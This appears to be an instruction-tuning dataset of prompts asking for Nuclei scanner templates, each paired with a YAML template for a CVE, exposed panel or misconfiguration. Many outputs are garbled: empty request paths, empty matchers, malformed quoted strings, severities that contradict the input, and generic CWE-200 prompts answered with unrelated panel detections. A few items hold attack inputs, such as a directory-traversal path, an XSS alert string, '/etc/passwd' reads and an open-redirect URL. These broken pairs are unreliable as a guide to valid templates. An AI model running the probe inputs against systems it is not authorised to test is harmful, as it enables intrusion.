Instruction: Generate a Nuclei template for: Postmessage Outgoing Tracker

Input:
Title: Postmessage Outgoing Tracker
Summary: Postmessage Outgoing Tracker. Tags: headless, postmessage, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: postmessage-outgoing-tracker

info:
  name: Postmessage Outgoing Tracker
  author: LogicalHunter
  severity: info
  description: Postmessage Outgoing Tracker
  tags: headless,postmessage,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-41381

Input:
Title: Path Traversal in payara micro_community
Summary: Payara Micro Community 5.2021.6 and below allows Directory Traversal.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: payara micro_community
Indicators: error, vulnerability detected

Output:
id: CVE-2021-41381

info:
  name: Payara Micro Community 5.2021.6 Directory Traversal
  author: pikpikcu
  severity: high
  description: Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.
  tags: cve2021,cve,payara,lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties"
    matchers:
      - type: word
        words:
          - "payara.security.openid.default.providerURI="
          - "payara.security.openid.sessionScopedConfiguration=true"
        part: body
        condition: and


Instruction: Generate a Nuclei template for CVE-2021-30203

Input:
Title: Cross-Site Scripting (XSS) in dzzoffice dzzoffice
Summary: A reflected cross-site scripting (XSS) vulnerability in the zero parameter of dzzoffice 2.02.1_SC_UTF8 allows attackers to execute arbitrary web scripts or HTML.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: dzzoffice dzzoffice
Indicators: error, vulnerability detected

Output:
id: CVE-2021-30203

info:
  name: Dzzoffice 2.02.1 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
  tags: cve,cve2021,dzzoffice,xss,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""text":"<img src=x onerror=alert(document.domain)>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Akeeba Backup Installer - Exposure

Input:
Title: Akeeba Backup Installer - Exposure
Summary: Akeeba Backup Installer - Exposure. Akeeba Backup is susceptible to the Installation page exposure due to misconfiguration.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: akeeba-installer

info:
  name: Akeeba Backup Installer - Exposure
  author: DhiyaneshDK
  severity: high
  description: Akeeba Backup is susceptible to the Installation page exposure due to misconfiguration.
  tags: misconfig,akeeba,install,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/installation/index.php"
    matchers:
      - type: word
        words:
          - "Akeeba Backup Installer"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: bmc-panel-detect

info:
  name: BMC Discovery Outpost Admin Panel - Detect
  author: pikpikcu
  severity: info
  description: BMC Discovery Outpost admin panel was detected.
  tags: panel,bmc,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/adminlogin"
    matchers:
      - type: word
        words:
          - "<title>BMC Discovery Outpost: Login</title>"
        part: body


Instruction: Generate a Nuclei template for CVE-2020-28871

Input:
Title: Unrestricted File Upload in monitorr monitorr
Summary: Remote code execution in Monitorr v1.7.6m in upload.php allows an unauthorized person to execute arbitrary code on the server-side via an insecure file upload.
Vulnerability Type: Unrestricted File Upload
Severity: critical
Affected Products: monitorr monitorr
Indicators: unauthorized

Output:
id: CVE-2020-28871

info:
  name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
  tags: cve,cve2020,unauth,fileupload,monitor,edb,intrusive,packetstorm,rce,monitorr_project,monitorr,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "{{md5(string)}}"
        part: body_2
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-34102

Input:
Title: Vulnerability (CWE-611) in adobe commerce and others
Summary: Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction.
Vulnerability Type: Vulnerability (CWE-611)
Severity: critical
Affected Products: adobe commerce, adobe commerce_webhooks, adobe magento
Indicators: error, vulnerability detected

Output:
id: CVE-2024-34102

info:
  name: Adobe Commerce & Magento - CosmicSting
  author: DhiyaneshDK
  severity: critical
  description: Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.
  tags: cve,cve2024,adobe,magento,xxe,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: star-network-utility

info:
  name: Star Micronics Network Utility Panel - Detect
  author: ritikchaddha
  severity: info
  description: Star Micronics Network Utility panel was detected.
  tags: panel,utility,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Star Micronics"
          - "Network Utility"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-25037

Input:
Title: Information Disclosure in CVE-2025-25037
Summary: An information disclosure vulnerability exists in Aquatronica Controller System firmware versions <= 5.1.6 and web interface versions <= 2.0. The tcp.php endpoint fails to restrict unauthenticated access, allowing remote attackers to issue crafted POST requests and retrieve sensitive configuration data, including plaintext administrative credentials. Exploitation of this flaw can lead to full compromise of the system, enabling unauthorized manipulation of connected devices and aquarium parameters.
Vulnerability Type: Information Disclosure
Severity: medium
Indicators: unauthorized

Output:
id: CVE-2025-25037

info:
  name: Aquatronica Controller System <= 5.1.6 - Information Disclosure
  author: s4e-io
  severity: high
  description: Aquatronica Controller System firmware 5.1.6 and earlier and web interface 2.0 and earlier contain an information disclosure vulnerability caused by unauthenticated access to tcp.php endpoint, letting remote attackers retrieve sensitive configuration data including plaintext credentials, exploit requires no authentication.
  tags: cve,cve2025,aquatronica,info-leak,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "WEB_PASSWORD"
          - "pwd=""
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: xeams-admin-console

info:
  name: Xeams Admin Console Login Panel - Detect
  author: theamanrawat
  severity: info
  description: Xeams Admin Console login panel was detected.
  tags: panel,xeams,admin,console,synametrics,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/FrontController"
    matchers:
      - type: word
        words:
          - "<title>Xeams Admin Console"
          - "eXtended Email And Messaging Server</span>"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Mura CMS Setup Page - Exposure

Input:
Title: Mura CMS Setup Page - Exposure
Summary: Mura CMS Setup Page - Exposure. Detects exposed Mura CMS Setup page.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: mura-cms-setup-installer

info:
  name: Mura CMS Setup Page - Exposure
  author: DhiyaneshDK
  severity: high
  description: Detects exposed Mura CMS Setup page.
  tags: misconfig,install,exposure,mura-cms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Mura CMS - Setup"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Secret Rotation Interval

Input:
Title: Secret Rotation Interval
Summary: Secret Rotation Interval. Ensure that the rotation interval for your AWS Secrets Manager secrets is configured to meet security and compliance requirements.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: secret-rotation-interval

info:
  name: Secret Rotation Interval
  author: DhiyaneshDK
  severity: medium
  description: Ensure that the rotation interval for your AWS Secrets Manager secrets is configured to meet security and compliance requirements.
  tags: cloud,devops,aws,amazon,secret-manager,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Discover production log files

Input:
Title: Discover production log files
Summary: Discover production log files. Production log file was exposed.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: production-logs

info:
  name: Discover production log files
  author: geeknik
  severity: info
  description: Production log file was exposed.
  tags: exposure,logs,rails,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/log/production.log"
      - "{{BaseURL}}/logs/production.log"
      - "{{BaseURL}}/production.log"
    matchers:
      - type: word
        words:
          - "Connecting to database specified by database.yml"
          - "Started GET"
        condition: and
      - type: status
        status:
          - 200
      - type: word
        words:
          - "text/html"
        part: header


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: polycom-login

info:
  name: Polycom Login Panel - Detect
  author: DhiyaneshDk
  severity: info
  description: Polycom login panel was detected.
  tags: edb,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.html"
    matchers:
      - type: word
        words:
          - "<title>Polycom Login</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Tenemos T24 Login Panel - Detect

Input:
Title: Tenemos T24 Login Panel - Detect
Summary: Tenemos T24 Login Panel - Detect. Tenemos T24 products was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: tenemos-t24-panel

info:
  name: Tenemos T24 Login Panel - Detect
  author: righettod
  severity: info
  description: Tenemos T24 products was detected.
  tags: panel,tenemos,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/BrowserServlet"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: apache-apisix-panel

info:
  name: Apache APISIX Login Panel - Detect
  author: pikpikcu,righettod
  severity: info
  description: An Apache APISIX login panel was detected.
  tags: apache,apisix,panel,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/login?redirect=%2F"
    matchers:
      - type: word
        words:
          - "<title>Apache APISIX Dashboard</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-2009

Input:
Title: Cross-Site Scripting (XSS) in pretty_url_project pretty_url
Summary: Plugin does not sanitize and escape the URL field in the Pretty Url WordPress plugin through 1.5.4 settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: pretty_url_project pretty_url
Indicators: error, vulnerability detected

Output:
id: CVE-2023-2009

info:
  name: Pretty Url <= 1.5.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  tags: cve2023,cve,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss,pretty_url_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: user-control-panel

info:
  name: User Control Panel - Detect
  author: dhiyaneshDK
  severity: info
  description: User Control Panel was detected.
  tags: panel,ucp,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>User Control Panel</title>"


Instruction: Generate a Nuclei template for: Droneci Access Token

Input:
Title: Droneci Access Token
Summary: Droneci Access Token. Tags: droneci, exposure, tokens
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: droneci-accesstoken

info:
  name: Droneci Access Token
  author: DhiyaneshDK
  severity: info
  description: Droneci Access Token
  tags: droneci,exposure,tokens,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Element Web - Detect

Input:
Title: Element Web - Detect
Summary: Element Web - Detect. Identify if a web application is vanilla Element Web and return the version
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: element-web-detect

info:
  name: Element Web - Detect
  author: davidegirardi
  severity: info
  description: Identify if a web application is vanilla Element Web and return the version
  tags: tech,matrix,element,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/manifest.json"
      - "{{BaseURL}}/version"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2020-14181

Input:
Title: Information Disclosure in atlassian data_center and others
Summary: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
Vulnerability Type: Information Disclosure
Severity: medium
Affected Products: atlassian data_center, atlassian jira, atlassian jira_server
Indicators: error, vulnerability detected

Output:
id: CVE-2020-14181

info:
  name: Jira Server and Data Center - Information Disclosure
  author: bjhulst
  severity: medium
  description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the /ViewUserHover.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. Affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
  tags: cve,cve2020,atlassian,jira,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/ViewUserHover.jspa"
    matchers:
      - type: word
        words:
          - "user-hover-details"
          - "content="JIRA""
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Kingsoft Web Server Detect

Input:
Title: Kingsoft Web Server Detect
Summary: Kingsoft Web Server Detect. Tags: tech, kingsoft, discovery
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: kingsoft-webserver-detect

info:
  name: Kingsoft Web Server Detect
  author: princechaddha
  severity: info
  description: Kingsoft Web Server Detect
  tags: tech,kingsoft,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Welcome to Kingsoft Web Server!</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-32172

Input:
Title: Missing Authorization in maianscriptworld maian_cart
Summary: Maian Cart v3.8 contains a preauthorization remote code execution (RCE) exploit via a broken access control issue in the Elfinder plugin.
Vulnerability Type: Missing Authorization
Severity: critical
Affected Products: maianscriptworld maian_cart
Indicators: error, vulnerability detected

Output:
id: CVE-2021-32172

info:
  name: Maian Cart <=3.8 - Remote Code Execution
  author: pdteam
  severity: critical
  description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.
  tags: cve2021,cve,rce,unauth,maian,intrusive,maianscriptworld,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2020-14883

Input:
Title: Unknown Vulnerability in oracle weblogic_server
Summary: Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: oracle weblogic_server
Indicators: error, vulnerability detected

Output:
id: CVE-2020-14883

info:
  name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
  author: pdteam,vicrack
  severity: high
  description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
  tags: cve,cve2020,oracle,rce,weblogic,kev,packetstorm,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "ADMINCONSOLESESSION"
        part: header
      - type: word
        words:
          - "{{revstr}}"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: icc-pro-login

info:
  name: ICC PRO Login Panel - Detect
  author: DhiyaneshDk
  severity: info
  description: ICC PRO login panel was detected.
  tags: panel,icc-pro,edb,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/Account/Login"
    matchers:
      - type: word
        words:
          - "<title>Login to ICC PRO system</title>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-0942

Input:
Title: Unknown Vulnerability in artisanworkshop japanized_for_woocommerce
Summary: The Japanized For WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘tab’ parameter in versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: artisanworkshop japanized_for_woocommerce
Indicators: error, vulnerability detected

Output:
id: CVE-2023-0942

info:
  name: WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve2023,cve,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,xss,woocommerce,plugin,artisanworkshop,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Microsoft Runtime Error Page

Input:
Title: Microsoft Runtime Error Page
Summary: Microsoft Runtime Error Page. Tags: iis, error, microsoft
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: microsoft-runtime-error

info:
  name: Microsoft Runtime Error Page
  author: DhiyaneshDk
  severity: info
  description: Microsoft Runtime Error Page
  tags: iis,error,microsoft,log,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Runtime Error</title>"
        part: body
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template for CVE-2024-51483

Input:
Title: Path Traversal in CVE-2024-51483
Summary: changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source:file:///etc/passwd` can be used to retrieve local system files, where the more traditional `file:///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.
Vulnerability Type: Path Traversal
Severity: medium
Indicators: error, vulnerability detected

Output:
id: CVE-2024-51483

info:
  name: Changedetection.io <= 0.47.4 - Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.
  tags: cve,cve2024,changedetection,lfi,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Exceeded SSL Certificate Validity Period

Input:
Title: Exceeded SSL Certificate Validity Period
Summary: Exceeded SSL Certificate Validity Period. Ensure that SSL certificates managed with Google Cloud Certificate Manager don't have a validity period greater than 398 days (13 months). This is to enhance security by reducing the risk of certificate compromise and misuse, while aligning with industry standards and support from modern web browsers.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-certificate-validity-exceeded

info:
  name: Exceeded SSL Certificate Validity Period
  author: princechaddha
  severity: medium
  description: Ensure that SSL certificates managed with Google Cloud Certificate Manager don't have a validity period greater than 398 days (13 months). This is to enhance security by reducing the risk of certificate compromise and misuse, while aligning with industry standards and support from modern web browsers.
  tags: cloud,devops,gcp,gcloud,certificate-manager,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: vault-panel

info:
  name: Vault Login Panel - Detect
  author: DhiyaneshDK,righettod
  severity: info
  description: Vault login panel was detected.
  tags: panel,vault,detect,hashicorp,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/sys/health"
      - "{{BaseURL}}/ui/vault/auth"
      - "{{BaseURL}}/ui/auth"
      - "{{BaseURL}}/v1/sys/health?help=1"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-38817

Input:
Title: Vulnerability (CWE-306) in linuxfoundation dapr_dashboard
Summary: Dapr Dashboard v0.1.0 through v0.10.0 is vulnerable to Incorrect Access Control that allows attackers to obtain sensitive data.
Vulnerability Type: Vulnerability (CWE-306)
Severity: high
Affected Products: linuxfoundation dapr_dashboard
Indicators: error, vulnerability detected

Output:
id: CVE-2022-38817

info:
  name: Dapr Dashboard 0.1.0-0.10.0 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: Dapr Dashboard 0.1.0 through 0.10.0 is susceptible to improper access control. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2022,dapr,dashboard,unauth,linuxfoundation,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/statestore"
      - "{{BaseURL}}/overview"
      - "{{BaseURL}}/controlplane"
    matchers:
      - type: word
        words:
          - "<title>Dapr Dashboard</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Detect Dell iDRAC8

Input:
Title: Detect Dell iDRAC8
Summary: Detect Dell iDRAC8. The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: dell-idrac8-detect

info:
  name: Detect Dell iDRAC8
  author: kophjager007,mr-pmillz
  severity: info
  description: The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers.
  tags: tech,dell,idrac,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/data?get=prodServerGen"
      - "{{BaseURL}}/session?aimGetProp=fwVersionFull"
    matchers:
      - type: word
        words:
          - "13G"
          - ""aimGetProp" :"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Next.js / Vite Public ENV Exposure

Input:
Title: Next.js / Vite Public ENV Exposure
Summary: Next.js / Vite Public ENV Exposure. Identified public environment variables exposed to the client in Next.js (__NEXT_DATA__.env) and Vite applications through runtime configurations.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: nextjs-vite-public-env

info:
  name: Next.js / Vite Public ENV Exposure
  author: Hamza Sahin
  severity: medium
  description: Identified public environment variables exposed to the client in Next.js (__NEXT_DATA__.env) and Vite applications through runtime configurations.
  tags: exposure,env,nextjs,vite,supabase,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2005-3634

Input:
Title: Unknown Vulnerability in sap sap_web_application_server
Summary: frameset.htm in the BSP runtime in SAP Web Application Server (WAS) 6.10 through 7.00 allows remote attackers to log users out and redirect them to arbitrary web sites via a close command in the sap-sessioncmd parameter and a URL in the sap-exiturl parameter.
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: sap sap_web_application_server
Indicators: error, vulnerability detected

Output:
id: CVE-2005-3634

info:
  name: SAP Web Application Server 6.x/7.0 - Open Redirect
  author: ctflearner
  severity: medium
  description: frameset.htm in the BSP runtime in SAP Web Application Server (WAS) 6.10 through 7.00 allows remote attackers to log users out and redirect them to arbitrary web sites via a close command in the sap-sessioncmd parameter and a URL in the sap-exiturl parameter.
  tags: cve,cve2005,sap,redirect,business,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template for: Graphql Hypergraphql Detect

Input:
Title: Graphql Hypergraphql Detect
Summary: Graphql Hypergraphql Detect. Tags: tech, graphql, hypergraphql
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: graphql-hypergraphql-detect

info:
  name: Graphql Hypergraphql Detect
  author: princechaddha
  severity: info
  description: Graphql Hypergraphql Detect
  tags: tech,graphql,hypergraphql

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"
      - "{{BaseURL}}/api/graphql"
      - "{{BaseURL}}/query"
      - "{{BaseURL}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Validation error of type InvalidSyntax: Invalid query syntax."
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
